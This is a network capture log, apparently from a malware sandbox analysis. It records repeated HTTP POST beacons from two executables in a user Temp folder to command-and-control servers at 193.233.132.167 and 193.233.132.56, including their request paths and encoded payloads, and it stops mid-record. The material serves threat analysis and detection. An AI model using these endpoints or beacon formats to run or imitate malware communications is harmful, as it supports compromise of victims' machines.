Apr 19, 2024 03:33:04.727340937 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
675	192.168.2.5	50521	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:04.774080992 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:05.021327972 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
676	192.168.2.5	50522	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:04.981204033 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:33:05.233587027 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
677	192.168.2.5	50523	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:05.279848099 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:33:05.533519030 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
678	192.168.2.5	50524	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:05.585309029 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:05.831723928 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
679	192.168.2.5	50525	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:05.892870903 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:06.133955002 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
680	192.168.2.5	50526	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:06.084527969 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:33:06.334680080 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
681	192.168.2.5	50527	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:06.386539936 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:33:06.640326977 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
682	192.168.2.5	50528	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:06.697885990 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:06.945637941 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
683	192.168.2.5	50529	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:06.987684965 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:07.230201006 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
684	192.168.2.5	50530	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:07.196623087 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:33:07.446541071 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
685	192.168.2.5	50531	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:07.481255054 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:33:07.734349966 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
686	192.168.2.5	50532	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:07.806180954 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:08.054105997 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
687	192.168.2.5	50533	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:08.082968950 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:08.326955080 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
688	192.168.2.5	50534	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:08.307384014 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:33:08.561686039 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
689	192.168.2.5	50535	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:08.577044010 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:33:08.828504086 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
690	192.168.2.5	50536	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:08.931102037 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:09.180078030 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
691	192.168.2.5	50537	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:09.201700926 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:09.449883938 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
692	192.168.2.5	50538	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:09.434240103 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:33:09.687099934 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
693	192.168.2.5	50539	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:09.699390888 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:33:09.949911118 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
694	192.168.2.5	50540	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:10.042725086 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:10.291435003 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
695	192.168.2.5	50541	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:10.303426981 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:10.548979998 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
696	192.168.2.5	50542	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:10.539582968 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:33:10.788640976 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
697	192.168.2.5	50543	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
